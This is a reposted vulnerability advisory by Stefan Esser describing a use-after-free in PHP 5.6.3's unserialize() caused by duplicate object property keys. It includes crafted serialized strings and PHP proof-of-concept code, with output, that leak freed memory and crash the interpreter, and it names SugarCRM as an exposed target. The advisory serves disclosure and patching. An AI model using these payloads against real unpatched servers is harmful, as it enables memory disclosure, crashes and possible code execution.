PHP 5.6.3 unserialize() execute arbitrary code

没穿底裤 2020年1月1日04:33:33评论351 views字数 2951阅读9分50秒阅读模式
摘要

Description:
------------
Reported by Stefan Esser :A while ago the function "process_nested_data" was changed to better
handle object properties. Before it was possible to create numeric
object properties which would cause trouble down the road. So the
following code was added:

Description:
------------
Reported by Stefan Esser :

A while ago the function "process_nested_data" was changed to better
handle object properties. Before it was possible to create numeric
object properties which would cause trouble down the road. So the
following code was added:

if (!objprops) { ... } else { /* object properties should include no integers */ convert_to_string(key); zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof data, NULL); } 

Whoever wrote this code did not know about the history of the
unserialize() function and that in earlier times (2004) I found a use
after free vulnerability in it. A non detailed write up can be found in
http://seclists.org/fulldisclosure/2004/Dec/356 [Bug 7].

The problem with the above code is that when there are two identical
keys in the object's serialized properties the second key will delete
the first one from memory and destroy the ZVAL associated with it. This
means that ZVAL and all its children is freed from memory. However the
unserialize() code will still allow to use R: or r: to set references to
that already freed memory. It has been demonstrated many times before
that use after free inside unserialize() allows an attacker to execute
arbitrary code. Also some programs do not only unserialize() user input
but they also sent a serialized() reply back to the caller. In such a
setup an attacker can not only trigger code execution but also leak
memory content from remote. This together means he can write a fully
working remote exploit that bypasses all modern mitigations. Examples
how that was possible before you can see from this slide deck (starting
from slide 30)
http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter

Last time I checked one prominent example of PHP code that uses
unserialize() and serialize() in this way is: SugarCRM

The following code shows the leak:

 <?php  $data = 'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';  $x = unserialize($data); var_dump($x); 
$ php test.php object(stdClass)#1 (2) { ["aaa"]=> int(1) ["ccc"]=> &string(39) "1Y?/" }

And the following code should crash PHP:

<?php  for ($i=4; $i<100; $i++) {  var_dump($i);  $m = new StdClass();  $u = array(1);  $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $m->ddd = str_repeat("A", $i);  $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); } 

As you can see here:

$ php x.php int(4) string(134) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:" aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}" object(stdClass)#2 (3) { ["aaa"]=> int(1) ["ccc"]=> &NULL ["ddd"]=> string(4) "AAAA" } int(5) string(135) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:" aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:5:"AAAAA";}" object(stdClass)#1 (3) { ["aaa"]=> int(1) ["ccc"]=> &NULL ["ddd"]=> string(5) "AAAAA" } int(6) string(136) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:" aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:6:"AAAAAA";}" Segmentation fault: 11

Somewhen before you fix and release this I will prepare a POC that
demonstrates full control over the program counter and to leak specific
stuff from the system.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:33:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 5.6.3 unserialize() execute arbitrary codehttp://cn-sec.com/archives/76044.html

发表评论

匿名网友 填写信息